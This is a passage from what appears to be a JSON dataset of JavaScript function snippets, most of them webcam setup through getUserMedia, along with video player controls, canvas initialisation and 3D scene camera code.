pause);\\n\\t\\t\\t_.event(elems.buttons.volume, 'click', mute);\\n\\t\\t\\t_.event(elems.buttons.fullscreen, 'click', fullscreen);\\n\\t\\t\\t_.event(elems.video, 'loadedmetadata', function(e) {\\n\\t\\t\\t\\tplaybackRate(opts.speed);\\n\\t\\t\\t\\tvideoProgress = new Range(opts.progress / elems.video.duration, elems.ranges.video, {\\n\\t\\t\\t\\t\\tonDrop: (pct) => progress(pct, true),\\n\\t\\t\\t\\t});\\n\\t\\t\\t\\tvolumeSlider = new Range(opts.volume, elems.ranges.volume, {\\n\\t\\t\\t\\t\\tonDrag: volume,\\n\\t\\t\\t\\t});\\n\\t\\t\\t\\tvolume(opts.volume);\\n\\t\\t\\t\\tprogress(opts.progress);\\n\\t\\t\\t\\ttimestamp(0, elems.video.duration);\\n\\t\\t\\t\\tif (opts.autoplay) play();\\n\\t\\t\\t});\\n\\t\\t\\t_.event(elems.video, 'timeupdate', progUpdate);\\n\\t\\t\\t_.event(elems.main, 'mousemove', showControls);\\n\\t\\t\\t_.event(elems.controls, 'mouseenter', () => showControls(true));\\n\\t\\t\\t_.event(elems.controls, 'mouseleave', () => showControls(false));\\n\\t\\t\\t_.event(window, 'keyup', handleKeyPress);\\n\\t\\t\\t_.event(document, 'fullscreenchange', handleFullscreenChange); // PREFIXES WHY\\n\\t\\t\\t_.event(document, 'msfullscreenchange', handleFullscreenChange);\\n\\t\\t\\t_.event(document, 'mozfullscreenchange', handleFullscreenChange);\\n\\t\\t\\t_.event(document, 'webkitfullscreenchange', handleFullscreenChange);\\n\\n\\t\\t\\tif (opts.fullscreen) fullscreen(true);\\n\\t\\t\\telems.video.src = opts.src;\\n\\t\\t}\",\n \"function setup() {\\n // set up canvas\\n let canvas = createCanvas(canvasW, canvasH);\\n canvas.parent('canvas');\\n\\n}\",\n \"init() {\\n this.isCanvasSupported() ? this.ctx = this.canvas.getContext('2d') : false;\\n\\n if (this.ctx) {\\n this.playBtn.addEventListener('click', () => {\\n this.playBtn.classList.add('active');\\n this.startTheGame();\\n });\\n\\n this.retryBtn.addEventListener('click', () => {\\n this.reset();\\n this.retryBtn.classList.add('inactive');\\n this.startTheGame();\\n });\\n }\\n }\",\n \"initBoard() {\\n this.canvas = document.createElement('canvas');\\n this.ctx = this.canvas.getContext('2d');\\n this.width = this.canvas.width = this.tileWidth * this.columns;\\n this.height = this.canvas.height = this.tileHeight * this.rows;\\n this.canvas.style.border = \\\"none\\\";\\n this.initStage();\\n }\",\n \"function initialize() {\\n webcamElement = document.getElementById('webcam');\\n canvasElement = document.getElementById('canvas');\\n webcam = new Webcam(webcamElement, 'user', canvasElement);\\n snapButtonElement = document.getElementById('capture');\\n startButtonElement = document.getElementById('retake');\\n}\",\n \"function videoReady() { }\",\n \"setUpCanvas(){\\n var w = window.innerWidth;\\n var h = window.innerHeight;\\n this.$canvas = $(` {\n video.onloadedmetadata = () => {\n resolve(video)\n }\n })\n}","function cameraSetup(){\n\t// Get access to the camera!\n\tif('mediaDevices' in navigator && 'getUserMedia' in navigator.mediaDevices) {\n\t\t// Not adding `{ audio: true }` since we only want video now\n\t\tnavigator.mediaDevices.getUserMedia({\n\t\t\t//Kamera Constrains:\n\t\t\t\n\t\t\tvideo: \n\t\t\t{\n\t\t\t\twidth: {ideal: 50},\n\t\t\t\theight: {ideal: 50},\n\t\t\t\tfacingMode: ['environment']\n\t\t\t}\n\t\t\t}).then(function(stream) {\n\t\t\t\tstreamVideo = stream;\n\t\t\t\tcameraOk = true;\n\t\t\t\tvideo.srcObject = stream;\n\t\t\t\tvideo.play();\n\n\t\t\t\tvar track = stream.getVideoTracks()[0];\n\t\t\t\t//Taschenlampe einschalten:\n\t\t\t\tconst imageCapture = new ImageCapture(track)\n\t\t\t\tconst photoCapabilities = imageCapture.getPhotoCapabilities().then(() => {\n\t\t\t\t\ttrack.applyConstraints({\n\t\t\t\t\t\tadvanced: [{torch: true}]\n\t\t\t\t\t});\n\t\t\t\t});\n\n\n\n\t\t\t});\n\t\t}\n\n\n\t}","async function setupCamera() {\n const video = document.getElementById('video');\n const canvas = document.getElementById('canvas');\n if (!video || !canvas) return null;\n\n let msg = '';\n log('Setting up camera');\n // setup webcam. note that navigator.mediaDevices requires that page is accessed via https\n if (!navigator.mediaDevices) {\n log('Camera Error: access not supported');\n return null;\n }\n let stream;\n const constraints = {\n audio: false,\n video: { facingMode: 'user', resizeMode: 'crop-and-scale' },\n };\n if (window.innerWidth > window.innerHeight) constraints.video.width = { ideal: window.innerWidth };\n else constraints.video.height = { ideal: window.innerHeight };\n try {\n stream = await navigator.mediaDevices.getUserMedia(constraints);\n } catch (err) {\n if (err.name === 'PermissionDeniedError' || err.name === 'NotAllowedError') msg = 'camera permission denied';\n else if (err.name === 'SourceUnavailableError') msg = 'camera not available';\n log(`Camera Error: ${msg}: ${err.message || err}`);\n return null;\n }\n // @ts-ignore\n if (stream) video.srcObject = stream;\n else {\n log('Camera Error: stream empty');\n return null;\n }\n const track = stream.getVideoTracks()[0];\n const settings = track.getSettings();\n if (settings.deviceId) delete settings.deviceId;\n if (settings.groupId) delete settings.groupId;\n if (settings.aspectRatio) settings.aspectRatio = Math.trunc(100 * settings.aspectRatio) / 100;\n log(`Camera active: ${track.label}`); // ${str(constraints)}\n log(`Camera settings: ${str(settings)}`);\n canvas.addEventListener('click', () => {\n // @ts-ignore\n if (video && video.readyState >= 2) {\n // @ts-ignore\n if (video.paused) {\n // @ts-ignore\n video.play();\n detectVideo(video, canvas);\n } else {\n // @ts-ignore\n video.pause();\n }\n }\n // @ts-ignore\n log(`Camera state: ${video.paused ? 'paused' : 'playing'}`);\n });\n return new Promise((resolve) => {\n video.onloadeddata = async () => {\n // @ts-ignore\n canvas.width = video.videoWidth;\n // @ts-ignore\n canvas.height = video.videoHeight;\n // @ts-ignore\n video.play();\n detectVideo(video, canvas);\n resolve(true);\n };\n });\n}","async function setupCamera() {\n if (!navigator.mediaDevices || !navigator.mediaDevices.getUserMedia) {\n throw new Error(\n 'Browser API navigator.mediaDevices.getUserMedia not available');\n }\n\n const video = document.getElementById('video');\n video.width = videoWidth;\n video.height = videoHeight;\n\n const mobile = isMobile();\n const stream = await navigator.mediaDevices.getUserMedia({\n 'audio': false,\n 'video': {\n facingMode: 'user',\n width: mobile ? undefined : videoWidth,\n height: mobile ? undefined : videoHeight,\n },\n });\n video.srcObject = stream;\n\n return new Promise((resolve) => {\n video.onloadedmetadata = () => {\n resolve(video);\n };\n });\n}","async function setupCamera() {\n const video = document.getElementById('video');\n video.width = maxVideoSize;\n video.height = maxVideoSize;\n\n if (navigator.mediaDevices && navigator.mediaDevices.getUserMedia) {\n const mobile = isMobile();\n const stream = await navigator.mediaDevices.getUserMedia({\n 'audio': false,\n 'video': {\n facingMode: 'environment',\n width: mobile ? undefined : maxVideoSize,\n height: mobile ? undefined: maxVideoSize}\n });\n video.srcObject = stream;\n\n return new Promise(resolve => {\n video.onloadedmetadata = () => {\n resolve(video);\n };\n });\n } else {\n const errorMessage = \"This browser does not support video capture, or this device does not have a camera\";\n alert(errorMessage);\n return Promise.reject(errorMessage);\n }\n}","async function setupCamera() {\n if (!navigator.mediaDevices || !navigator.mediaDevices.getUserMedia) {\n throw new Error(\n 'Browser API navigator.mediaDevices.getUserMedia not available');\n }\n\n const video = document.getElementById('webcam-video');\n video.width = videoWidth;\n video.height = videoHeight;\n\n // const mobile = isMobile();\n const stream = await navigator.mediaDevices.getUserMedia({\n 'audio': false,\n 'video': {\n facingMode: 'user',\n width: videoWidth,\n height: videoHeight,\n },\n });\n video.srcObject = stream;\n\n return new Promise((resolve) => {\n video.onloadedmetadata = () => {\n resolve(video);\n };\n });\n}","async function setupCamera() {\n const video = document.getElementById('video');\n video.width = maxVideoSize;\n video.height = maxVideoSize;\n\n if (navigator.mediaDevices && navigator.mediaDevices.getUserMedia) {\n const mobile = isMobile();\n const stream = await navigator.mediaDevices.getUserMedia({\n 'audio': false,\n 'video': {\n facingMode: 'user',\n width: mobile ? undefined : maxVideoSize,\n height: mobile ? undefined: maxVideoSize}\n });\n video.srcObject = stream;\n\n return new Promise(resolve => {\n video.onloadedmetadata = () => {\n resolve(video);\n };\n });\n } else {\n const errorMessage = \"This browser does not support video capture, or this device does not have a camera\";\n alert(errorMessage);\n return Promise.reject(errorMessage);\n }\n}","function startCamera() {\n\n let constraints = {\n audio: false,\n video: {\n width: 640,\n height: 480,\n frameRate: 30\n }\n }\n\n video.setAttribute('width', 640);\n video.setAttribute('height', 480);\n video.setAttribute('autoplay', '');\n video.setAttribute('muted', '');\n video.setAttribute('playsinline', '');\n\n // Start video playback once the camera was fetched.\n function onStreamFetched(mediaStream) {\n video.srcObject = mediaStream;\n // Check whether we know the video dimensions yet, if so, start BRFv4.\n function onStreamDimensionsAvailable() {\n if (video.videoWidth === 0) {\n setTimeout(onStreamDimensionsAvailable, 100);\n } else {\n\n }\n }\n onStreamDimensionsAvailable();\n }\n\n window.navigator.mediaDevices.getUserMedia(constraints).then(onStreamFetched).catch(function() {\n alert(\"No camera available.\");\n });\n}","function startvideo() {\n webcam.style.width = document.width + 'px';\n webcam.style.height = document.height + 'px';\n webcam.setAttribute('autoplay', '');\n webcam.setAttribute('muted', '');\n\twebcam.setAttribute('playsinline', '');\n\n var constraints = {\n audio: false,\n video: {\n facingMode: 'user'\n }\n }\n \tnavigator.mediaDevices.getUserMedia(constraints).then(function success(stream) {\n webcam.srcObject = stream;\n initImages();\n animate();\n });\n}","function loadCamera() {\n // setup camera capture\n videoInput = createCapture(VIDEO);\n videoInput.size(400, 300);\n videoInput.position(0, 0);\n videoInput.id(\"v\");\n var mv = document.getElementById(\"v\");\n mv.muted = true;\n}","async function setupCamera() {\r\n if (!navigator.mediaDevices || !navigator.mediaDevices.getUserMedia) {\r\n throw new Error(\r\n 'Browser API navigator.mediaDevices.getUserMedia not available');\r\n }\r\n\r\n const camera = document.getElementById('camera');\r\n camera.width = cameraWidth;\r\n camera.height = cameraHeight;\r\n\r\n const mobile = isMobile();\r\n\r\n const stream = await navigator.mediaDevices.getUserMedia({\r\n 'audio': false,\r\n 'video': {\r\n facingMode: 'user',\r\n width: mobile ? undefined : cameraWidth,\r\n height: mobile ? undefined : cameraHeight,\r\n },\r\n });\r\n camera.srcObject = stream;\r\n\r\n return new Promise((resolve) => {\r\n camera.onloadedmetadata = () => {\r\n resolve(camera);\r\n };\r\n });\r\n}","async start() {\n if (this.webcamConfig.facingMode) {\n util.assert((this.webcamConfig.facingMode === 'user') ||\n (this.webcamConfig.facingMode === 'environment'), () => `Invalid webcam facing mode: ${this.webcamConfig.facingMode}. ` +\n `Please provide 'user' or 'environment'`);\n }\n try {\n this.stream = await navigator.mediaDevices.getUserMedia({\n video: {\n deviceId: this.webcamConfig.deviceId,\n facingMode: this.webcamConfig.facingMode ?\n this.webcamConfig.facingMode :\n 'user',\n width: this.webcamVideoElement.width,\n height: this.webcamVideoElement.height\n }\n });\n }\n catch (e) {\n // Modify the error message but leave the stack trace intact\n e.message = `Error thrown while initializing video stream: ${e.message}`;\n throw e;\n }\n if (!this.stream) {\n throw new Error('Could not obtain video from webcam.');\n }\n // Older browsers may not have srcObject\n try {\n this.webcamVideoElement.srcObject = this.stream;\n }\n catch (error) {\n console.log(error);\n this.webcamVideoElement.src = window.URL.createObjectURL(this.stream);\n }\n // Start the webcam video stream\n this.webcamVideoElement.play();\n this.isClosed = false;\n return new Promise(resolve => {\n // Add event listener to make sure the webcam has been fully initialized.\n this.webcamVideoElement.onloadedmetadata = () => {\n resolve();\n };\n });\n }","function cameraStart() {\n if(selfie === true){\n cameraView.classList.replace(\"user\", \"environment\");\n cameraOutput.classList.replace(\"user\", \"environment\");\n cameraSensor.classList.replace(\"user\", \"environment\");\n constraints = rearConstraints;\n selfie = false;\n }\n else{\n cameraView.classList.replace(\"environment\", \"user\");\n cameraOutput.classList.replace(\"environment\", \"user\");\n cameraSensor.classList.replace(\"environment\", \"user\");\n constraints = userConstraints;\n selfie = true;\n }\n\n navigator.mediaDevices\n .getUserMedia(constraints)\n .then(function(stream) {\n track = stream.getTracks()[0];\n cameraView.srcObject = stream;\n })\n .catch(function(error) {\n console.error(\"Oops. Something is broken.\", error);\n });\n}","function cameraStartFront() { \n frontCamera = true\n var constraints = { video: { facingMode: \"user\" }, audio: false };\n navigator.mediaDevices\n .getUserMedia(constraints)\n .then(function(stream) {\n track = stream.getTracks()[0];\n cameraView.srcObject = stream;\n })\n .catch(function(error) {\n console.error(\"Oops. Something is broken.\", error);\n });\n}","function cameraStart() {\n cameraView = document.querySelector(\"#webcam\");\n navigator.mediaDevices\n .getUserMedia(constraints)\n .then(function(stream) {\n cameraView.srcObject = stream;\n })\n .catch(function(error) {\n console.error(\"Oops. Something is broken.\", error);\n });\n}","function cam() {\n snapBtn.addEventListener('click', enroll);\n // detectButton.addEventListener('click', detect);\n navigator.mediaDevices.getUserMedia({\n audio: false,\n video: {\n width: 500,\n height: 500\n }\n })\n .then(stream => {\n video.srcObject = stream;\n video.onloadedmetadata = video.play()\n })\n .catch(err => console.error(err));\n}","_switchCamera() {\n if (this.isVideoTrack() && this.videoType === _service_RTC_VideoType__WEBPACK_IMPORTED_MODULE_10___default.a.CAMERA && typeof this.track._switchCamera === 'function') {\n this.track._switchCamera();\n\n this._facingMode = this._facingMode === _service_RTC_CameraFacingMode__WEBPACK_IMPORTED_MODULE_7___default.a.ENVIRONMENT ? _service_RTC_CameraFacingMode__WEBPACK_IMPORTED_MODULE_7___default.a.USER : _service_RTC_CameraFacingMode__WEBPACK_IMPORTED_MODULE_7___default.a.ENVIRONMENT;\n }\n }","function getCamera(){\n document.getElementById('ownGifs').style.display=\"none\"\n document.getElementById('createGif').style.display=\"none\";\n document.getElementById('camera').style.display=\"inline-block\";\n var video = document.querySelector('video');\n stream = navigator.mediaDevices.getUserMedia(constraints)\n .then(function(mediaStream) {\n video.srcObject = mediaStream;\n video.onloadedmetadata = function(e) {\n video.play(); // Starting reproduce video cam\n };\n recorder = RecordRTC(mediaStream, { \n // disable logs\n disableLogs: true,\n type: \"gif\",\n frameRate: 1,\n width: 360,\n hidden: 240,\n quality: 10});\n })\n .catch(function(err) { \n\n }); // always check for errors at the end.\n\n \n}","async function setupCamera (config) {\n const { videoWidth, videoHeight } = config\n if (!navigator.mediaDevices || !navigator.mediaDevices.getUserMedia) {\n throw new Error(\n 'Browser API navigator.mediaDevices.getUserMedia not available'\n )\n }\n\n const video = document.getElementById('video')\n video.width = videoWidth\n video.height = videoHeight\n\n const mobile = isMobile()\n const stream = await navigator.mediaDevices.getUserMedia({\n audio: false,\n video: {\n facingMode: 'user',\n width: mobile ? undefined : videoWidth,\n height: mobile ? undefined : videoHeight\n }\n })\n video.srcObject = stream\n\n return new Promise(resolve => {\n video.onloadedmetadata = () => {\n resolve(video)\n }\n })\n}","function cameraStart() {\r\n navigator.mediaDevices\r\n .getUserMedia(constraints)\r\n .then(function(stream) {\r\n track = stream.getTracks()[0];\r\n cameraView.srcObject = stream;\r\n })\r\n .catch(function(error) {\r\n console.error(\"Oops. Something is broken.\", error);\r\n });\r\n}","function cameraStart() {\r\n navigator.mediaDevices\r\n .getUserMedia(constraints)\r\n .then(function(stream) {\r\n track = stream.getTracks()[0];\r\n cameraView.srcObject = stream;\r\n })\r\n .catch(function(error) {\r\n console.error(\"Oops. Something is broken.\", error);\r\n });\r\n}","async start() {\n if (this.webcamConfig.facingMode) {\n _tensorflow_tfjs_core__WEBPACK_IMPORTED_MODULE_0__[\"util\"].assert((this.webcamConfig.facingMode === 'user') ||\n (this.webcamConfig.facingMode === 'environment'), () => `Invalid webcam facing mode: ${this.webcamConfig.facingMode}. ` +\n `Please provide 'user' or 'environment'`);\n }\n try {\n this.stream = await navigator.mediaDevices.getUserMedia({\n video: {\n deviceId: this.webcamConfig.deviceId,\n facingMode: this.webcamConfig.facingMode ?\n this.webcamConfig.facingMode :\n 'user',\n width: this.webcamVideoElement.width,\n height: this.webcamVideoElement.height\n }\n });\n }\n catch (e) {\n // Modify the error message but leave the stack trace intact\n e.message = `Error thrown while initializing video stream: ${e.message}`;\n throw e;\n }\n if (!this.stream) {\n throw new Error('Could not obtain video from webcam.');\n }\n // Older browsers may not have srcObject\n try {\n this.webcamVideoElement.srcObject = this.stream;\n }\n catch (error) {\n console.log(error);\n this.webcamVideoElement.src = window.URL.createObjectURL(this.stream);\n }\n // Start the webcam video stream\n this.webcamVideoElement.play();\n this.isClosed = false;\n return new Promise(resolve => {\n // Add event listener to make sure the webcam has been fully initialized.\n this.webcamVideoElement.onloadedmetadata = () => {\n resolve();\n };\n });\n }","function cameraStart() {\n navigator.mediaDevices\n .getUserMedia(constraints)\n .then(function (stream) {\n track = stream.getTracks()[0];\n cameraView.srcObject = stream;\n })\n .catch(function (error) {\n console.error(\"Oops. Something is broken.\", error);\n });\n}","function startVideo(){\n //gets the webcam, takes object as the first param, video is key, empty object as param\n navigator.getUserMedia(\n {video: {}},\n //whats coming from our webcam, setting it as source\n stream =>video.srcObject = stream,\n err => console.log(err))\n}","function cameraStart() {\n navigator.mediaDevices\n .getUserMedia(constraints)\n .then(function(stream) {\n track = stream.getTracks()[0];\n cameraView.srcObject = stream;\n })\n .catch(function(error) {\n console.error(\"Oops. Something is broken.\", error);\n });\n}","function cameraStart() {\n navigator.mediaDevices\n .getUserMedia(constraints)\n .then(function(stream) {\n track = stream.getTracks()[0];\n cameraView.srcObject = stream;\n })\n .catch(function(error) {\n console.error(\"Oops. Something is broken.\", error);\n });\n}","function cameraStart() {\n navigator.mediaDevices\n .getUserMedia(constraints)\n .then(function(stream) {\n track = stream.getTracks()[0];\n cameraView.srcObject = stream;\n })\n .catch(function(error) {\n console.error(\"Oops. Something is broken.\", error);\n });\n}","function cameraStart() {\n navigator.mediaDevices\n .getUserMedia(constraints)\n .then(function(stream) {\n track = stream.getTracks()[0];\n cameraView.srcObject = stream;\n })\n .catch(function(error) {\n console.error(\"Oops. Something is broken.\", error);\n });\n}","function setupCamera() {\n camera = new PerspectiveCamera(35, config.Screen.RATIO, 0.1, 300);\n camera.position.set(0, 8, 20);\n //camera.rotation.set(0,0,0);\n //camera.lookAt(player.position);\n console.log(\"Finished setting up Camera...\"\n + \"with x\" + camera.rotation.x + \" y:\" + camera.rotation.y + \" z:\" + camera.rotation.z);\n }","async function setupCamera() {\n let depthStream = await DepthCamera.getDepthStream();\n const depthVideo = document.getElementById('depthStream');\n depthVideo.srcObject = depthStream;\n return DepthCamera.getCameraCalibration(depthStream);\n}","function startVideo() {\n navigator.getUserMedia(\n { \n video: \n {\n //the ideal part is imp, it helps to get 16:9 ratio also\n height : { ideal : window.innerHeight } ,\n width : { ideal : window.innerWidth }\n } \n } ,\n stream => video.srcObject = stream,\n err => console.error(err)\n ) \n}","function cameraStart() {\n //the getUserMedia method to access the camera\n navigator.mediaDevices\n .getUserMedia(constraints)\n .then(function(stream) {\n track = stream.getTracks()[0];\n cameraView.srcObject = track;\n })\n .catch(function(error) {\n console.error(\"Oops. Something is horribly broken.\", error);\n });\n}","function cameraStart() {\n var flagCamera = true;\n navigator.mediaDevices\n .getUserMedia(constraints)\n .then(function (stream) {\n track = stream.getTracks()[0];\n cameraView.srcObject = stream;\n localStream = track;\n })\n .catch(function (error) {\n flagCamera = false;\n console.error(\"Oops. Something is broken.\", error);\n }).then(function () {\n if (flagCamera)\n visibleC();\n });\n }","_initVideoStream () {\n const getUserMedia = navigator.getUserMedia || navigator.webkitGetUserMedia ||\n navigator.mozGetUserMedia || navigator.msGetUserMedia\n if (!getUserMedia) {\n throw new Error('Webcam feature not supported! :(')\n }\n\n getUserMedia.call(navigator, { video: true }, (stream) => {\n this._stream = stream\n this._video.onloadedmetadata = this._onVideoReady.bind(this)\n this._video.src = window.URL.createObjectURL(stream)\n }, (err) => {\n throw err\n })\n }","function getVideo() {// getUserMedia must have MediaStreamConstraints\n navigator.mediaDevices.getUserMedia({ video: true, audio: false}) // returns promise\n .then(MediaStream => {\n console.log(MediaStream); // MediaStream is an object\n video.srcObject = MediaStream; // video.srcObject is different to teacher video\n video.play();\n }).catch(err => {\n console.error(`Oh no!! You need to allow the site to use your webcam, ${err}`);\n alert(`Please reload and allow the site to access your webcam`);\n })\n}","function startVideo() {\n navigator.getUserMedia(\n { video: {} },\n stream => video.srcObject = stream,\n error => console.error(error)\n )\n}","function callUser(user) {\n getCam()\n .then(stream => {\n const video = document.getElementById(\"selfview\");\n try {\n video.srcObject = stream;\n } catch (error) {\n video.src = URL.createObjectURL(stream);\n }\n // document.getElementById(\"selfview\").srcObject = stream;\n\n /*if (window.URL) {\n document.getElementById(\"selfview\").src = window.URL.createObjectURL(stream);\n } else {\n document.getElementById(\"selfview\").src = stream;\n }*/\n\n toggleEndCallButton();\n caller.addStream(stream);\n localUserMedia = stream;\n caller.createOffer().then(function(desc) {\n caller.setLocalDescription(new RTCSessionDescription(desc));\n channel.trigger(\"client-sdp\", {\n \"sdp\": desc,\n \"room\": user,\n \"from\": id\n });\n room = user;\n });\n\n })\n .catch(error => {\n console.log('an error occured', error);\n })\n}","function setCamera()\n{\n var v = 0.0025; // camera tool speed\n var r = 950.0; // camera to origin distance\n \n var alphaX = v * camRotationX * Math.PI;\n var alphaY = v * camRotationY * Math.PI;\n \n alphaX = Math.max(alphaX, -0.5 * Math.PI)\n alphaX = Math.min(alphaX, 0.0)\n \n var sX = Math.sin(alphaX);\n var cX = Math.cos(alphaX);\n \n var sY = Math.sin(alphaY);\n var cY = Math.cos(alphaY);\n \n camera.position.x = r * cX * sY;\n camera.position.y = r * (-sX);\n camera.position.z = r * cX * cY;\n \n // aim the camera at the origin\n camera.lookAt(new THREE.Vector3(0,0,0));\n}","function startCamera() {\n Webcam.set({\n width: 320,\n height: 240,\n image_format: 'jpeg',\n jpeg_quality: 90\n });\n Webcam.attach('#my_camera');\n}","async function cameraStart() {\n\n await faceapi.nets.faceLandmark68TinyNet.loadFromUri(\"models\");\n await faceapi.nets.tinyFaceDetector.loadFromUri('models')\n\n navigator.mediaDevices\n .getUserMedia(constraints)\n .then(function(stream) {\n track = stream.getTracks()[0];\n cameraView.srcObject = stream;\n })\n .catch(function(error) {\n console.error(\"Oops. Something is broken.\", error);\n });\n}","function captureCamera(capture) {\r\n navigator.mediaDevices.getUserMedia({\r\n video: true\r\n })\r\n .then(function (stream) {\r\n myvideo.srcObject = stream;\r\n myvideo.play();\r\n capture && capture(stream);\r\n })\r\n .catch(function (err) {\r\n console.error(err);\r\n alert(\"Ups, we need your camera! Please refresh the page and start again\");\r\n });\r\n}","async function setupCam() {\n navigator.mediaDevices.getUserMedia({\n video: true\n }).then(mediaStream => {\n vid.srcObject = mediaStream;\n }).catch((error) => {\n console.warn(error);\n });\n await knn.load();\n setTimeout(loop, 50);\n}","function getVideo() {\n\tnavigator.mediaDevices.getUserMedia({video: true, audio: false})\n\t\t.then(localMediaStream => {\n\t\t\tconsole.log(localMediaStream);\n\t\t\tvideo.src = window.URL.createObjectURL(localMediaStream);\n\t\t\t//MediaStream is an object and needs to be changed to be a URL\n\t\t\tvideo.play();\n\t\t\t//this updates so that the camera shouldn't just be one frame\n\t\t\t//if inspected, blob is the video being caught\n\t\t})\n\t\t.catch(err => {\n\t\t\tconsole.error(`WELP ERROR`, err);\n\t\t});\n}","function setupCamera() {\n // const camera = new PerspectiveCamera(75, window.innerWidth / window.innerHeight, 0.1, 1000);\n const camera = new PerspectiveCamera(45, window.innerWidth / window.innerHeight, 0.1, 1000);\n camera.position.set(0, -distance,height / 2);\n camera.up = new Vector3(0,0,1);\n camera.lookAt(new Vector3(0, 0, height / 2));\n return camera;\n}","async function setupWebcam() {\n if (navigator.mediaDevices.getUserMedia) {\n const stream = await navigator.mediaDevices.getUserMedia({\n \"audio\": false,\n \"video\": {\n width: {\n min: 640,\n max: 640\n },\n height: {\n min: 480,\n max: 480\n }\n }\n });\n\n webcam.srcObject = stream;\n\n return new Promise((resolve) => {\n webcam.onloadedmetadata = () => {\n webcam.width = stream.getVideoTracks()[0].getSettings().width;\n webcam.height = stream.getVideoTracks()[0].getSettings().height;\n canvas.width = stream.getVideoTracks()[0].getSettings().width;\n canvas.height = stream.getVideoTracks()[0].getSettings().height;\n\n canvasDims = [canvas.height, canvas.width];\n\n resolve(webcam);\n };\n });\n }\n}","get camera() {return this._p.camera;}","function setVideoDevice(device) {\n\t\tconsole.log(\"[StationIDReader] Using device for video stream: \");\n\t\tconsole.log(device);\n\t\tif (navigator.getUserMedia) { \n\t\t //navigator.getUserMedia({video: true}, handleVideo, videoError);\n\t\t //navigator.getUserMedia({video: { facingMode: { exact: \"environment\" } } }, handleVideo, videoError);\n\t\t var constraints = {\n\t\t \tvideo: {deviceId: {exact: device.deviceId}}\n\t\t };\n\t\t navigator.getUserMedia(constraints, handleVideo, videoError);\n\t\t}\n\t\telse {\n\t\t\talert(\"unable to create video\")\n\t\t}\n\t}","function captureCamera_candidate(callback) {\n navigator.mediaDevices.getUserMedia({ audio: true, video: true }).then(function(camera) {\n callback(camera);\n }).catch(function(error) {\n alert('Unable to capture your camera. Please check console logs.');\n console.error(error);\n });\n}","get camera () {return this._p.camera;}","setCamera() {\r\n // set up camera\r\n this.camera = new Camera({\r\n time: this.time,\r\n sizes: this.sizes,\r\n renderer: this.renderer,\r\n debug: this.debug,\r\n config: this.config\r\n });\r\n\r\n // add to scene\r\n this.scene.add(this.camera.container);\r\n\r\n // update camera position per frame\r\n this.time.on('update', () => {\r\n if (this.world && this.world.car) { // if car is on the scene\r\n this.camera.target.x = this.world.car.chassis.object.position.x;\r\n this.camera.target.y = this.world.car.chassis.object.position.y;\r\n this.camera.target.z = this.world.car.chassis.object.position.z;\r\n this.camera.direction.x = this.world.car.movement.direction.x;\r\n this.camera.direction.y = this.world.car.movement.direction.y;\r\n }\r\n });\r\n }","function webcamToVideo()\n{\n\tn \t\t\t = navigator\n\tn.getUserMedia = n.getUserMedia || n.webkitGetUserMedia || n.mozGetUserMedia || n.msGetUserMedia;\n\twindow.URL \t = window.URL || window.webkitURL;\n\tn.getUserMedia(\n\t\t{video:true}, \n\t\tfunction(stream)\n\t\t{\n\t\t\tvideo.src = window.URL.createObjectURL(stream);\n\t\t\tlocalMediaStream = stream;\n\t\t},\n\t\tonCameraFail\n\t);\n}","function getVideo() {\n // getting someone's video webcam\n navigator.mediaDevices.getUserMedia({ video: true, audio: false}) // this returns a promise\n .then(localMediaStream => {\n console.log(localMediaStream);\n //video.src = localMediaStream;\n // still need to convert it to some sort of url to make it work\n video.src = window.URL.createObjectURL(localMediaStream); // now it works but only one frame\n video.play(); // now it's a live stream :)\n })\n .catch(err => {\n console.error(`Oupsy Daisy!`, err);\n }); // if it doesn't work shows an error (like oupsy daisy you need to allow acess to the camera)\n}","function requestWebcam(video) {\n return new Promise((resolve, reject) => {\n const options = { video: { height: 420 }, audio: false };\n navigator.mediaDevices\n .getUserMedia(options)\n .then((stream) => {\n video.addEventListener(\n 'loadedmetadata',\n (_) => {\n video.play();\n resolve(video);\n },\n { once: true }\n );\n\n video.srcObject = stream;\n })\n .catch((e) => {\n reject(e);\n });\n });\n}","function reloadVideo()\n{\n // From Mozilla Development Network site\n\n // Older browsers might not implement mediaDevices at all, so we set an empty object first\n if (navigator.mediaDevices === undefined) {\n navigator.mediaDevices = {};\n }\n\n // Some browsers partially implement mediaDevices. We can't just assign an object\n // with getUserMedia as it would overwrite existing properties.\n // Here, we will just add the getUserMedia property if it's missing.\n if (navigator.mediaDevices.getUserMedia === undefined) {\n navigator.mediaDevices.getUserMedia = function(constraints) {\n\n // First get ahold of the legacy getUserMedia, if present\n var getUserMedia = navigator.webkitGetUserMedia || navigator.mozGetUserMedia;\n\n // Some browsers just don't implement it - return a rejected promise with an error\n // to keep a consistent interface\n if (!getUserMedia) {\n return Promise.reject(new Error('getUserMedia is not implemented in this browser'));\n }\n\n // Otherwise, wrap the call to the old navigator.getUserMedia with a Promise\n return new Promise(function(resolve, reject) {\n getUserMedia.call(navigator, constraints, resolve, reject);\n });\n }\n }\n\n\n //let constraints = {video: { facingMode: \"environment\" } }\n let constraints = {video: { facingMode: \"environment\" }};\n\n // Acquires the video stream.\n navigator.mediaDevices.getUserMedia(constraints)\n .then((stream) => {\n if (\"srcObject\" in video) {\n video.srcObject = stream;\n } else {\n // Avoid using this in new browsers, as it is going away.\n video.src = window.URL.createObjectURL(stream);\n }\n video.onloadedmetadata = function(e) {\n video.play();\n };\n localMediaStream = stream;\n videoplayer = new VideoPlayer();\n }).catch((reason) => {\n console.error(\"Error in getting camera stream.\");\n alert(\"Camera Stream is not available on this device.\");\n });\n // Clear data, ready to be reused.\n clearText();\n}","function updateViewerCamera(){\n\tif (viewerParams.useTrackball) viewerParams.controls.target = new THREE.Vector3(viewerParams.controlsTarget.x, viewerParams.controlsTarget.y, viewerParams.controlsTarget.z);\n\n\tif (viewerParams.camera){\n\t\tviewerParams.camera.position.set(viewerParams.cameraPosition.x, viewerParams.cameraPosition.y, viewerParams.cameraPosition.z);\n\t\tviewerParams.camera.rotation.set(viewerParams.cameraRotation._x, viewerParams.cameraRotation._y, viewerParams.cameraRotation._z);\n\t\tviewerParams.camera.up.set(viewerParams.cameraUp.x, viewerParams.cameraUp.y, viewerParams.cameraUp.z);\n\t}\n\t//console.log(viewerParams.camera.position, viewerParams.camera.rotation, viewerParams.camera.up);\n}","function startPreview() {\n var captureSettings = new Windows.Media.Capture.MediaCaptureInitializationSettings();\n captureSettings.streamingCaptureMode = Windows.Media.Capture.StreamingCaptureMode.video;\n captureSettings.photoCaptureSource = Windows.Media.Capture.PhotoCaptureSource.videoPreview;\n \n // Enumerate cameras and add find first 